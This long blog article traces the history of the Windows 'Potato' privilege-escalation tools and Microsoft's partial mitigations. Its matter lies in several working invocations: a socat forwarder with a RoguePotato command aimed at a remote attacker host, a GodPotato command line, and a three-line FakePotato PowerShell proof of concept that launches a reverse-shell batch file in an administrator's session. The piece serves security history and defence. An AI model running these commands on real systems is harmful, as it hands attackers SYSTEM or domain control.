Parag Mali https://paragmali.com/blog/system-in-ten-seconds-how-the-potato-family-survived-every-m/
53 min read
By

SYSTEM in Ten Seconds: How the Potato Family Survived Every Microsoft Mitigation

A decade of Windows local privilege escalation -- HotPotato through FakePotato -- rests on one architectural decision Microsoft has refused to revisit.

Permalink

1. A Web Shell, Ten Seconds, SYSTEM

A red teamer drops a web shell on an Internet Information Services server running as IIS APPPOOL\DefaultAppPool. Ten seconds later, the shell prints nt authority\system. The operator did not exploit a memory-corruption bug, did not bypass a kernel security boundary, did not even use an undocumented API. They invoked CoCreateInstance against a Distributed COM (DCOM) class identifier, waited for the SYSTEM-context RPCSS service to authenticate to a named pipe they owned, and called ImpersonateNamedPipeClient [1]. Every step was documented Win32 behaviour. The exploit is that Microsoft has spent a decade refusing to call any of those steps a security boundary [@msrc-servicing-criteria; @troopers24].

The artefact in the operator's hand is one of several. In May 2026 it is most likely GodPotato.exe -cmd "cmd /c whoami" -- a single Apache 2.0-licensed binary that BeichenDream published on GitHub on December 23, 2022 [2]. The README says it works on every supported Windows release from Windows 8 through Windows 11, and from Server 2012 through Server 2022 [2]. Community testing has since extended the working range to Server 2025 with default Distributed COM hardening enabled [3].

SeImpersonatePrivilege

A Windows user-rights assignment that lets a thread substitute another user's security context for its own (typically via ImpersonateNamedPipeClient or ImpersonateLoggedOnUser). Granted by default to LOCAL SERVICE, NETWORK SERVICE, every Internet Information Services application-pool identity, and most service accounts [4]. Introduced as a defined user right in the Windows 2000 SP4 / XP SP2 / Server 2003 service-hardening cycle that MSRC discusses in its 2009 Token Kidnapping retrospective [5], after which possessing it has been one named-pipe round-trip away from being SYSTEM.

The IIS context matters. The default application-pool identity holds SeImpersonatePrivilege because IIS depends on it for legitimate request-scoped impersonation [6]. So does the default SQL Server service account, the Background Intelligent Transfer Service (BITS) account, the Spooler service account, and every account that hosts a Windows service that may need to "act as" a calling user. Anyone who can run code inside one of those accounts can run code as SYSTEM in seconds.

This is the puzzle the rest of the article is here to solve. The technique has been a one-binary operation for nearly a decade [7]. Microsoft has shipped three named hardening waves against it (a 2019-2020 OXID-resolver fix [8]; the three-phase CVE-2021-26414 Distributed COM hardening rollout from June 2021 to March 2023 [9]; and per-variant CVE patches in 2023 and 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]). None of those waves closed the family. Why?

2. The Architectural Primitive

The answer is in a Microsoft document called the Windows Security Servicing Criteria [10]. It defines what Microsoft will and will not service as a security vulnerability. Quoting the document directly: "A security boundary provides a logical separation between the code and data of security domains with different levels of trust" [10]. The page then lists the boundaries Microsoft has defined for Windows -- kernel mode versus user mode, virtual machine versus host, session versus session, and so on. The list is the enumeration that decides which bug classes get CVEs and which do not.

The Potato family pivots on a transition that is conspicuously not on the list: a service account that holds SeImpersonatePrivilege becoming SYSTEM. As Andrea Pierini and Antonio Cocomazzi articulated in the Troopers 24 retrospective, Microsoft's published position is that the Windows Service Hardening boundary is a safety boundary rather than a security boundary, which is why so many Potato exploits continue to work on fully updated Windows systems [7]. WSH is Microsoft's own shorthand for Windows Service Hardening -- the family of post-XP-SP2 protections that isolate service accounts from one another. The position is consistent with everything Microsoft has shipped: per-variant patches when a specific vehicle becomes too embarrassing, and silence on the underlying primitive. (The verbatim Troopers 24 articulation appears in §13.)

Three primitives, taken together, mechanically determine the entire family. Once they are stated, the only remaining question is which SYSTEM-context service is cheapest to coerce.

Primitive one: SeImpersonatePrivilege

SeImpersonatePrivilege is a Windows user-rights assignment that permits a thread to call ImpersonateNamedPipeClient, ImpersonateLoggedOnUser, and the related impersonation APIs [4]. By Windows default, it is granted to LOCAL SERVICE, NETWORK SERVICE, every Internet Information Services application-pool identity, and most service accounts that need to act on behalf of clients [6]. (For when the right was introduced and a working definition, see §1; Decoder's one-sentence summary of what the grant means in practice is the climactic PullQuote in §6.3.)

Primitive two: ImpersonateNamedPipeClient

ImpersonateNamedPipeClient

A Win32 API that lets the server end of a named pipe adopt the security context of whoever just connected to that pipe. After the call, the calling thread holds an impersonation token for the client identity, and any subsequent system call (including CreateProcessWithToken) executes as that identity. The function has been part of namedpipeapi.h since Windows XP for clients and Windows Server 2003 for servers, with no deprecation notice as of the 2025-07-01 documentation revision [1].

The mechanism is exactly the one a SYSTEM-context service uses for legitimate request-scoped impersonation. The Potato class subverts it by getting a SYSTEM-context service to connect to a pipe the attacker owns. No memory corruption, no kernel exploit, no undocumented API. The Win32 reference describes the call as the standard way for a pipe server to "impersonate the client end" [1].

Primitive three: the MSRC servicing-criteria carve-out

The third primitive is policy, not code. The MSRC document distinguishes a security boundary (whose violation gets a CVE and a security update) from a safety boundary (where Microsoft will patch when convenient but does not commit to a service-level objective). The defensible reading, articulated explicitly by Pierini and Cocomazzi at Troopers 24, is that the SYSTEM-from-SeImpersonate transition lives on the safety side [7]. The implication is structural: a service account holding SeImpersonatePrivilege "is already privileged" in Microsoft's policy view. Promoting it to SYSTEM is therefore not a privilege escalation that requires a security update.

Ctrl + scroll to zoom
The three-primitive invariant that every Potato variant pivots through.

Taken together, the three primitives reduce the entire Potato family to a single problem statement: find the cheapest SYSTEM-context service to coerce into a callback. Every named variant since 2016 is an answer to that problem.

Microsoft does not consider the SeImpersonatePrivilege-to-SYSTEM transition a security boundary; it considers it a safety boundary. The Potato family is the consequence. Variants change vehicles -- NetBIOS spoofing, BITS DCOM, Print Spooler RPC, EFS RPC, RPCSS OXID, ShellWindows -- but every one of them lives on the same architectural carve-out [@troopers24; @msrc-servicing-criteria].

The phrase aka.ms/win-security-boundaries was popularised by Mark Russinovich's Channel 9 talks of the late 2010s. Channel 9 was retired on December 1, 2021, so the link is now mostly cited as a memorable handle for the boundary list rather than as a clickable URL. The live equivalent is the MSRC servicing criteria document itself [10].

Given primitives this old and this widely default-granted -- both the named-pipe impersonation API and the SeImpersonatePrivilege user right have been in their current form since the Windows 2000 SP4 / Server 2003 / XP SP2 service-hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy; @ms-impersonate-api] -- the natural question is why the named Potato family did not appear until 2016. The next section is the answer.

3. The Long Pre-Potato Era, 2001-2015

In March 2008, Cesar Cerrudo stood on a stage in Dubai at Hack-in-the-Box and demonstrated that a SYSTEM-context Windows service holding SeImpersonatePrivilege was, in effect, one named-pipe call away from SYSTEM [@cerrudo-hitb-slides; @msrc-token-kidnapping]. Microsoft acknowledged the technique on the MSRC blog on April 14, 2009, and shipped MS09-012 -- the patch Cerrudo later nicknamed "Chimichurri" in his Black Hat USA 2010 follow-up [@msrc-token-kidnapping; @blackhat-2010-cerrudo]. Cerrudo extended the work two years later at Black Hat USA 2010 in a paper titled "Token Kidnapping's Revenge" [11]. Microsoft patched the specific NetworkService-to-SYSTEM vehicle. They did not revoke the privilege from the service accounts that held it [5].

That pattern -- patch the vehicle, leave the primitive -- is the family's bequest from Cerrudo.

NTLM reflection vs NTLM relay

NTLM relay forwards an NTLM authentication captured from victim A to a different server B, where the attacker authenticates as A. NTLM reflection is the special case where B is the same machine (often the same protocol) as A. Microsoft fixed the most obvious same-protocol case with MS08-068 in 2008 [12]. Cross-protocol reflection (HTTP-to-SMB, DCOM-to-RPC) was not closed by that patch and became the doorway through which the Potato family entered.

Seven years before Cerrudo, on March 31, 2001, Sir Dystic of the Cult of the Dead Cow stood on a different stage at @lanta.con in Atlanta and released SMBRelay, the first public same-protocol NTLM relay tool [13]. Microsoft eventually responded with MS08-068, a same-protocol-only fix [12]. Cross-protocol relay -- HTTP to SMB, DCOM to local RPC -- remained open.

That opening was the canvas James Forshaw painted on. In December 2014, then at Google Project Zero, Forshaw filed Issue 222 ("Windows: Local WebDAV NTLM Reflection EoP") demonstrating that the WebClient service performs NTLM authentication when asked to open a WebDAV URL, and that the resulting NTLM session can be reflected cross-protocol to the local SMB service [8]. A few months later Forshaw filed Issue 325, showing that CoGetInstanceFromIStorage could coerce a DCOM activation into authenticating to an attacker-controlled TCP endpoint. Microsoft patched the 2015 issue as CVE-2015-2370 [14]. In his October 2021 retrospective Forshaw wrote, with the laconic precision of a researcher whose contributions are still being weaponised seven years later:

"The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits." -- James Forshaw, Project Zero, October 2021 [8]

Cerrudo nicknamed the MS09-012 patch "Chimichurri" after the Argentine green sauce, and used the name when he reprised the work at Black Hat USA 2010 [11]. Cerrudo was at Argeniss and later IOActive when he developed the technique [@msrc-token-kidnapping; @blackhat-2010-cerrudo]. The primary artefact for Cerrudo's March 2008 Hack-in-the-Box Dubai talk (slides, video, abstract) is no longer reachable on the conference site; the MSRC blog's retrospective is the canonical secondary that anchors the date and venue [5]. The Black Hat USA 2010 "Token Kidnapping's Revenge" whitepaper [11] is the durable primary for the underlying technique.
Ctrl + scroll to zoom
The pre-Potato lineage from SMBRelay in 2001 through Forshaw's DCOM activation primitive in 2015.

By the end of 2015 the three pieces were on the table. A long-standing default privilege grant (Cerrudo's "SeImpersonate equals SYSTEM" thesis). A specific cross-protocol reflection technique (Forshaw's WebDAV-to-SMB Issue 222). A specific DCOM-activation coercion primitive (Forshaw's CoGetInstanceFromIStorage Issue 325). Microsoft had patched the literal bug in the third piece and explicitly declined to revoke the privilege in the first. The technique was published, the proof-of-concept code was on GitHub, and the family was a binary release away. The next chapter is the moment someone shipped the binary.

4. HotPotato, January 16, 2016

On January 16, 2016, Stephen Breen of Foxglove Security published a blog post titled "Hot Potato" [15]. He had just spoken at ShmooCon. The repository, foxglovesec/Potato, would land on GitHub three weeks later, on February 9, 2016 [16]. The post's opening sentence is the family's birth certificate:

"Hot Potato (aka: Potato) takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing." -- Stephen Breen, Foxglove Security, January 16, 2016 [15]

Breen had not invented NTLM reflection. He had combined three existing primitives into a single-binary, one-click privilege escalation that worked on every default Windows install from Windows 7 through Server 2012 [15]. The Foxglove post acknowledges the lineage explicitly: "a similar technique was disclosed by the guys at Google Project Zero ... In fact, some of our code was shamelessly borrowed from their PoC" [15].

How HotPotato works

The exploit chains three independent tricks. Step one is UDP-port exhaustion. The tool opens enough UDP sockets that the local NetBIOS Name Service (NBNS) name lookups fail, forcing Windows to fall back to broadcast-based name resolution [15]. Step two is NBNS spoofing of the WPAD hostname, pointed at 127.0.0.1. Step three is the actual reflection: when Windows Update or Windows Defender polls for an update, it consults the WPAD URL, gets the attacker's proxy auto-configuration script, and routes its HTTP requests through the attacker's local listener -- which then relays the SYSTEM-context NTLM negotiation to the local SMB service [15].

Ctrl + scroll to zoom
HotPotato combined three independent Windows behaviours into a single one-click exploit.

The result was a single binary that produced a SYSTEM shell from any local user account on the target host -- because on a default Windows install every authenticated local user can run code, open UDP sockets, and bind a loopback HTTP listener, which is all HotPotato needs to bootstrap.

The naming pattern that has now produced eleven variants started with the GitHub repository name foxglovesec/Potato [16]. Breen later wrote that "Hot" was a riff on the fact that the SYSTEM token was passed around like a hot potato; the suffix convention spread from there organically.

Why HotPotato did not last

HotPotato had three structural weaknesses. NetBIOS spoofing is unreliable: the UDP-port exhaustion can fail under load, group policy can pin a real WPAD URL, and a legitimate WPAD response can win the race. NetBIOS is disabled in security-hardened environments as a matter of routine. And the HTTP-to-SMB cross-protocol path was the very thing Extended Protection for Authentication and SMB channel-binding tokens were designed to close [17]. On a Windows 10 1607 host with EPA on the SMB server, HotPotato failed.

Researchers needed a coercion vehicle that was deterministic, did not rely on broadcast spoofing, and used a protocol Microsoft had not yet hardened end-to-end. Forshaw's Project Zero Issue 325 -- the CoGetInstanceFromIStorage DCOM trigger -- met all three criteria [8]. The next variant weaponised it.

5. The DCOM-Activation Breakthrough, 2016-2018

5.1 RottenPotato (DerbyCon 6, September 2016)

Eight months after HotPotato, Stephen Breen returned with a co-author and a new vehicle. The talk was on September 23, 2016 -- the Friday of DerbyCon 6 -- and the blog post followed three days later [18]. The Foxglove post identifies the co-author by name: "myself and my partner in crime, Chris Mallz (@vvalien1) spoke at DerbyCon about a project we've been working on for the last few months" [18].

Many secondary sources credit Andrea Pierini (Decoder) as the RottenPotato co-author. The Foxglove primary disproves this verbatim [18]. Decoder enters the family lineage two years later, with JuicyPotato in 2018 [19]. Chris Mallz is the actual RottenPotato co-author.

RottenPotato replaced HotPotato's NetBIOS-and-WPAD chain with Forshaw's DCOM-activation primitive. The hard-coded target was the Background Intelligent Transfer Service (BITS) Distributed COM server, class identifier {4991d34b-80a1-4291-83b6-3328366b9097}, and the hard-coded listener port was 127.0.0.1:6666 [@foxglove-rottenpotato; @foxglove-rotten-repo].

CoGetInstanceFromIStorage

A Win32 OLE function that instantiates a Distributed COM object using a marshalled IStorage interface pointer as the activation source. By marshalling an IStorage whose object exporter identifier (OXID) resolves to an attacker-controlled TCP endpoint, the activator can redirect the resulting authentication callback to a listener it owns. Forshaw filed this as Project Zero Issue 325 in 2015 [8]; RottenPotato weaponised it.

Ctrl + scroll to zoom
RottenPotato's DCOM-activation flow: BITS plays the role of the SYSTEM-context service that authenticates back to the attacker's local listener.

The technique was 100% reliable on Windows 7 through Windows 10 1803 and Server 2008 R2 through Server 2016 [18]. There was no broadcast spoofing on the wire, no race condition, and no dependence on Windows Update polling. The price was rigidity: the hard-coded BITS class identifier and port 6666 made the tool brittle to BITS being disabled, and the original release depended on the Metasploit framework.

5.2 RottenPotatoNG and lonelypotato

In December 2017, the user breenmachine published RottenPotatoNG, a C++ port that removed the Metasploit dependency: "New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools" [20]. The codebase that JuicyPotato would later generalise was now in place.

5.3 JuicyPotato (Pierini + Trotta, July-August 2018)

What if any class identifier, not just the BITS one, could be the activation target? On July 27, 2018, Andrea Pierini and Giuseppe Trotta published the answer. The repository ohpe/juicy-potato was created that day per the GitHub REST API; the blog post followed on August 10, 2018 [19]. The repository description reads: "Juicy Potato (abusing the golden privileges) -- A sugared version of RottenPotatoNG, with a bit of juice" [19].

The original JuicyPotato blog post at decoder.cloud/2018/08/10/juicy-potato-abusing-the-golden-privileges/ returns HTTP 404 in 2026, and no Wayback Machine snapshot exists for that exact URL. The ohpe/juicy-potato README is the live verbatim mirror of the title and the technique walkthrough [19]. Pierini's blog has reorganised several times; older posts that survive elsewhere on decoder.cloud include the October 2018 "No more Rotten/Juicy Potato" [23] and the December 2019 "We thought they were Potatoes" [22].
Ctrl + scroll to zoom
JuicyPotato's CLSID-search methodology: iterate over registered class identifiers, attempt activation, log which run as SYSTEM.

The Potato class was now universal. From mid-2018 through 2019 it was the default tool in every red-team handbook, every Metasploit-adjacent post-exploitation cheat-sheet, and every penetration-testing certification's lab. Microsoft had noticed.

6. The Mitigation Arms Race, 2020-2024

Every subsection below is the same shape: Microsoft ships a mitigation, researchers find a counter-move, MSRC produces an artifact (a CVE, a "Won't Fix" decision, or silence), and the architectural reading gets one more empirical confirmation.

6.1 The first Distributed COM mitigation, 2019-2020

In late 2018, Windows 10 1809 and Server 2019 began shipping a change to RPCSS. JuicyPotato stopped working. Researchers who reverse-engineered the change discovered that the OXID resolver address on the local Distributed COM activation path was now hard-coded to 127.0.0.1:135. The marshalled IStorage callback could no longer be redirected to an arbitrary loopback port. Forshaw described it bluntly three years later:

"Being able to redirect the OXID resolver RPC connection locally to a different TCP port was not by design and Microsoft eventually fixed this in Windows 10 1809/Server 2019." -- James Forshaw, October 2021 [8]

No CVE was assigned. The change shipped silently as part of the regular Patch Tuesday cycle [8]. Pierini and Cocomazzi tested it on their own workloads and confirmed the failure mode publicly in October 2018: "Recently I downloaded the new Windows server 2019 and upgraded my Win10 box to 1809 ... the juicy/rotten exploit ... did not work on both OS" [23].

6.2 RoguePotato (Cocomazzi + Pierini, May 2020)

On May 10, 2020, Antonio Cocomazzi published the RoguePotato repository on GitHub [24]. The disclosure post appeared the next day, May 11. The README banner is "RoguePotato @splinter_code & @decoder_it" -- the same Pierini-and-Cocomazzi team that goes on to author RemotePotato0, JuicyPotatoNG, LocalPotato, and SilverPotato [24].

The counter-move accepts the hard-coded port-135 constraint and works around it. RoguePotato is two pieces. On an attacker-controlled remote host, run a port forwarder that listens on TCP 135 and redirects to a chosen attacker port. On the target, run RoguePotato.exe pointing the OXID resolver at the remote forwarder. RPCSS dutifully sends the resolution request to the remote host on port 135 (since Microsoft hard-coded the port, not the host); the forwarder bounces the traffic back to the target on the attacker-chosen port; RoguePotato impersonates the OXID resolver and steers the activation back to a SYSTEM-context COM server [24]. Standard NTLM relay and named-pipe impersonation finish the job.

Ctrl + scroll to zoom
RoguePotato's two-host architecture: the mitigation forced the attack to phone home through a remote port forwarder.
JavaScript RoguePotato invocation (shell-equivalent of the two-line setup) 
// Step 1 -- on an attacker-controlled remote host (any internet-reachable VPS):
const forwarder = "socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999";
// Step 2 -- on the target with SeImpersonatePrivilege:
const exploit = 'RoguePotato.exe -r 10.0.0.3 -e "C:\\windows\\system32\\cmd.exe" -l 9999';
console.log("Remote forwarder:", forwarder);
console.log("Target exploit  :", exploit);
console.log("Expected output : nt authority\\system");

Press Run to execute.

RoguePotato proved that the mitigation Microsoft chose did not break the underlying primitive. It only forced the attack to phone home. Two failure modes followed: in egress-filtered networks where outbound TCP 135 is blocked, the technique cannot run, and the remote forwarder is operationally noisy. Researchers needed a workaround that lived entirely on the target.

6.3 PrintSpoofer (Clément Labro, early May 2020)

Around the same time as RoguePotato, in early May 2020 (GitHub repository itm4n/PrintSpoofer created April 28, 2020; blog post first archived in the Wayback Machine on May 3, 2020), Clément Labro -- writing as itm4n -- published "PrintSpoofer -- Abusing Impersonation Privileges on Windows 10 and Server 2019" [6]. The mechanism uses no Distributed COM at all.

The Print Spooler service exposes an RPC call, RpcRemoteFindFirstPrinterChangeNotificationEx, that accepts a UNC path; the Spooler -- running as SYSTEM -- connects to that path to deliver printer-change notifications. Point the path at an attacker-owned named pipe; the Spooler connects; call ImpersonateNamedPipeClient; done [6]. Labro articulated the family's thesis statement in the post, attributing it to Decoder:

"If you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM." -- attributed to Andrea Pierini (@decoder_it), quoted by Clément Labro in the PrintSpoofer writeup, May 2020 [6]

Ctrl + scroll to zoom
PrintSpoofer drops Distributed COM entirely: the Spooler RPC interface is the SYSTEM-context callback API.

This is the moment the architectural reading clicks. The family is not about Distributed COM activation. Closing DCOM would not close the family. The next variant would use Spooler RPC, the one after that would use the Encrypting File System RPC, and the one after that would use Microsoft Distributed Transaction Coordinator RPC. Forshaw's contemporaneous April 2020 tiraniddo.dev post on shared logon sessions makes the same architectural point from a different angle [25].

The Potato family is about the primitive, not the vehicle. SeImpersonatePrivilege plus ImpersonateNamedPipeClient plus any SYSTEM-context Windows service with a callback-style API equals SYSTEM. Closing one vehicle (Distributed COM activation) leaves every other vehicle (Spooler RPC, EFS RPC, the next service that gets a callback interface) wide open [@itm4n-printspoofer; @forshaw-tiraniddo-2020].

6.4 RemotePotato0 and the "Won't Fix"

In April 2021, Cocomazzi and Pierini pushed the technique across the network in a SentinelLabs post titled "Relaying Potatoes: DCE/RPC NTLM Relay EoP" [26]. The repository tagline names the outcome bluntly: "Just another 'Won't Fix' Windows Privilege Escalation from User to Domain Admin" [27].

The mechanism is cross-session NTLM relay over Distributed COM and RPC. An unprivileged local user triggers the Distributed COM activation service to make another user logged on the same machine (typically an administrator in an interactive RDP session) authenticate via NTLM. The captured NTLM exchange is then cross-protocol relayed (RPC to LDAP, with a port forwarder bridging the gap) to a domain controller with LDAP signing disabled. The attacker writes their own account into a privileged group or registers resource-based constrained delegation, and the engagement is over [26].

Microsoft's response is the most quoted sentence in the family's history:

"The current status of this vulnerability is 'won't fix' ... Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as 'Won't Fix'." -- SentinelLabs disclosure of RemotePotato0, April 2021 [26]

6.5 The CVE-2021-26414 Distributed COM hardening rollout

Two months after the RemotePotato0 disclosure, Microsoft began the only DCOM-side hardening it would ship under a CVE. KB5004442 documents a three-phase rollout, quoted verbatim from the article: "The first phase of DCOM updates was released on June 8, 2021. In that update, DCOM hardening was disabled by default. ... The second phase of DCOM updates was released on June 14, 2022. ... The final phase of DCOM updates will be released in March 2023. It will keep the DCOM hardening enabled and remove the ability to disable it" [9].

PhaseDateBehaviour
Phase 1June 8, 2021DCOM hardening shipped, disabled by default. Administrators may opt in via registry.
Phase 2June 14, 2022Hardening enabled by default. Registry opt-out still available.
Phase 3March 14, 2023Hardening enforced with no opt-out. The RPC_C_AUTHN_LEVEL_PKT_INTEGRITY minimum is mandatory.
RPC_C_AUTHN_LEVEL_PKT_INTEGRITY

The RPC authentication-level constant that requires every packet of an RPC exchange to be signed for integrity (level 5 of 6). CVE-2021-26414 raises the minimum DCOM activation authentication level to this constant, rejecting legacy Distributed COM clients that activate at lower levels. The full rejection appears in Windows Event ID 10036 as "The server-side authentication level policy does not allow the user %1\%2 SID (%3) from address %4 to activate DCOM server. Please raise the activation authentication level at least to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY in client application" [9].

The hardening raised the bar for legacy Distributed COM client authentication. It did not declare Distributed COM activation a security boundary [@ms-kb5004442; @ms-techcommunity-dcom]. The "Manage changes" framing in the KB title is deliberate: this is a compatibility migration with telemetry events (10036 server-side, 10037 and 10038 client-side) so enterprises can find legacy clients before the final cut [9].

Researchers had 21 months to find a way around it. They took 18.

6.6 JuicyPotatoNG (Pierini + Cocomazzi, September 21, 2022)

Pierini and Cocomazzi returned on September 21, 2022, with JuicyPotatoNG -- the last pre-Phase-3 Distributed COM activation variant [28]. The blog post is titled "Giving JuicyPotato a second chance: JuicyPotatoNG" and walks through three counter-moves combined into a single binary [@decoder-juicyng; @antonio-juicyng].

First, the tool embeds Forshaw's October 2021 local-OXID trick. Forshaw had shown that an OXID resolution request could be answered by a local Distributed COM server on a randomly selected port, dropping the need for an external forwarder [8]. JuicyPotatoNG ships that trick as a default. Second, it falls back to a tight set of usable class identifiers; the default is {854A20FB-2D44-457D-992F-EF13785D2B51}, the PrintNotify class [29]. Third, it calls LogonUser with LOGON32_LOGON_NEW_CREDENTIALS to sidestep the INTERACTIVE-group restriction that constrained earlier post-RoguePotato attempts [28].

The cross-pollination is worth marking. Forshaw's October 2021 Project Zero post on relaying Distributed COM authentication described the local-OXID trick as a research result [8]. Pierini and Cocomazzi picked it up eleven months later and shipped it as the default mode of JuicyPotatoNG [28]. SilverPotato (April 2024) and the Compass Security follow-on (September 2024) cite the same trick [3]. Forshaw's blog has been the unofficial reference implementation for the lineage's offensive primitives for half its lifetime.

JuicyPotatoNG also implements a Security Support Provider Interface (SSPI) hook on AcceptSecurityContext to capture the SYSTEM token without requiring RpcImpersonateClient. The effect is to make the tool work for both SeImpersonate and SeAssignPrimaryToken holders [28]. The result is a clean, single-binary, no-external-infrastructure local-DCOM-activation exploit -- which is the version that worked between Phase 2 (June 14, 2022, enabled by default) and Phase 3 (March 14, 2023, enforced with no opt-out) of the CVE-2021-26414 rollout [9].

The next variant would need to survive Phase 3.

6.7 GodPotato (BeichenDream, December 23, 2022)

Three months after JuicyPotatoNG, on December 23, 2022, the Chinese-speaking researcher BeichenDream published GodPotato to GitHub [2]. The README is bilingual English and Chinese, and it opens with a precise summary of where the variant fits in the lineage:

"Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022 ... There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system, so it can run on almost any Windows OS, I named it GodPotato." -- BeichenDream, GodPotato README, December 2022 [2]

The mechanism manipulates the OXID-handling flow inside RPCSS so the activated Distributed COM server's authentication callback returns to a tool-controlled endpoint without requiring the OXID resolver to be redirected. Because the redirect itself is what the CVE-2021-26414 hardening rejects, GodPotato sidesteps the hardening entirely [2]. RPCSS is a mandatory Windows service -- it cannot be disabled without breaking the operating system -- so the technique works on every supported Windows release as of disclosure.

JavaScript GodPotato invocation (shell-equivalent of the December 2022 README) 
// On a target host where the calling account holds SeImpersonatePrivilege
// (default for every IIS app-pool identity, MSSQL service account, BITS account, etc.)
const command = 'GodPotato -cmd "cmd /c whoami"';
console.log("Run:", command);
console.log("Expected output: nt authority\\system");
console.log("Working OS coverage: Windows 8 through Windows 11; Server 2012 through Server 2025");
console.log("Underlying primitive: RPCSS OXID-handling defect, no external infra, single binary");

Press Run to execute.

Microsoft has not assigned a CVE to the underlying RPCSS defect [@beichendream-god; @compass-three-headed]. Apache 2.0 licensing matters here: red-team operators routinely recompile GodPotato from source to bypass binary-hash signatures, and the permissive license makes redistribution unproblematic [2]. The pattern is consistent with the servicing-criteria reading. GodPotato is in May 2026 the practitioner default on every in-support Windows release: single binary, no external infrastructure, no separate OXID resolver, Apache-2.0-licensed and freely re-buildable when EDR vendors signature the public binary [2].

GodPotato survives every Microsoft mitigation because Microsoft has not declared the underlying primitive a security boundary. Three named hardening waves (the 2019-2020 OXID-resolver change, the three-phase CVE-2021-26414 rollout from June 2021 to March 2023, and the per-variant CVE patches in 2023 and 2024) leave GodPotato working on Server 2025 and Windows 11 24H2 as of this writing [@beichendream-god; @ms-kb5004442; @compass-three-headed].

6.8 LocalPotato and CVE-2023-21746

Three weeks after GodPotato landed, Microsoft assigned the first-ever CVE in the local Potato lineage. The variant was LocalPotato, the CVE was CVE-2023-21746, and the patch shipped in the January 2023 Patch Tuesday [@nvd-cve-2023-21746; @msrc-cve-2023-21746]. The Decoder writeup, published February 13, 2023, walks through the timeline:

"We reported our findings to the Microsoft Security Response Center (MSRC) on September 9, 2022, and it was resolved with the release of the January 2023 patch Tuesday and assigned the CVE number CVE-2023-21746." -- Andrea Pierini, "LocalPotato" writeup, February 2023 [30]

LocalPotato is not a Distributed COM activation Potato. It attacks the local NTLM authentication protocol itself. During a local NTLM exchange, the Type 2 (Challenge) message carries a "Reserved" field that, in the local-NTLM case, encodes the upper bytes of the local server context handle the client should associate with. By racing two simultaneous local NTLM authentications -- one privileged client to attacker server, one attacker client to a real local server -- and swapping the Reserved fields in the two Type 2 messages, LSASS binds the privileged identity to the attacker's low-privilege context [@decoder-localpotato; @localpotato-com]. The result is an arbitrary file-read and file-write primitive that chains cleanly to SYSTEM.

The LocalPotato writeup credits Elad Shamir for the original hint that started the research [30]. The dedicated companion site localpotato.com carries the canonical title "LocalPotato -- When swapping the context leads you to SYSTEM" and links the CVE [31].

6.9 SilverPotato (Pierini + Cocomazzi, April 24, 2024)

A year later, on April 24, 2024, Pierini and Cocomazzi extended the cross-session Distributed COM activation primitive that RemotePotato0 had pioneered into a fully practical domain attack. The blog post title is "Hello, I'm your domain admin and I want to authenticate against you" [32]. The Troopers 24 abstract refers to the technique by its other name, ADCSCoercePotato [@troopers24; @decoder-adcs-coerce-repo]; both names refer to the same primitive.

The mechanism: members of the Distributed COM Users or Performance Log Users built-in groups can remotely trigger an NTLM authentication from any user currently logged on the target server -- including a Domain Administrator on a Domain Controller -- and relay it. The specific vehicle is the sppui Distributed COM application (class identifier F87B28F1-DA9A-4F35-8EC0-800EFCF26B83, "SPPUIObjectInteractive Class", hosted in slui.exe), which runs under the Interactive User identity [32]. Pierini's wording in the post is unsparing:

"Members of Distributed COM Users or Performance Log Users Groups can trigger from remote and relay the authentication of users connected on the target server, including Domain Controllers." -- Andrea Pierini, "SilverPotato" writeup, April 2024 [32]

The captured authentication is relayed via ntlmrelayx to AD CS Web Enrollment or LDAP, then chained with ForgeCert and Rubeus into a full Domain Admin Kerberos TGT [32]. The Compass Security follow-on from September 2024 extends the chain further by modifying the KrbRelay project to make it remote and cross-session capable: "I modified the KrbRelay project to make it remote and cross-session capable, because Andrea did not release his PoC code ... DCOM hardening only allows relay to HTTP or unprotected LDAP" [3]. Tianze Ding's Black Hat Asia 2024 talk on "CertifiedDCOM" landed in the same window [33]. Pierini's February 2024 post on the ADCS server side of the same surface foreshadowed the chain a few weeks earlier [34].

Ctrl + scroll to zoom
SilverPotato's full chain: Distributed COM cross-session activation, NTLM relay to AD CS, ForgeCert into a Domain Admin Kerberos TGT.

6.10 FakePotato and CVE-2024-38100

Four months after SilverPotato, on August 2, 2024, Pierini published the most recent named variant. He called it FakePotato, and he was up front about the name:

"You might be wondering why I called it the 'Fake' Potato. Initially, I thought it could be exploited using the same techniques as the *Potato families, but it turned out to be different and much simpler in this case." -- Andrea Pierini, "The Fake Potato" writeup, August 2024 [35]

FakePotato abuses the ShellWindows Distributed COM application (AppID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}), hosted in explorer.exe and registered to run under the Interactive User identity. Cross-session activation via BindToMoniker("session:N!new:<CLSID>") invokes ShellExecute in the target session. There is no NTLM relay, no token impersonation, no SeImpersonatePrivilege requirement -- any Authenticated User suffices because explorer.exe in High Integrity Level (UAC-disabled administrator) granted the Authenticated Users group execute permission via the DCOM Access Security ACL [35].

JavaScript FakePotato PowerShell PoC (shell-equivalent of the verbatim three-line invocation) 
// Verbatim from Decoder's August 2, 2024 writeup -- one cross-session call into
// the admin's session via the misconfigured ShellWindows DCOM ACL.
const line1 = '$obj = [System.Runtime.InteropServices.Marshal]::BindToMoniker("session:2!new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")';
const line2 = '$p = $obj.item(0).document.application';
const line3 = '$p.ShellExecute("c:\\temp\\reverse.bat", "", "c:\\windows", $null, 0)';
console.log("PowerShell line 1:", line1);
console.log("PowerShell line 2:", line2);
console.log("PowerShell line 3:", line3);
console.log("Patched in the July 2024 Patch Tuesday cumulative updates as CVE-2024-38100.");

Press Run to execute.

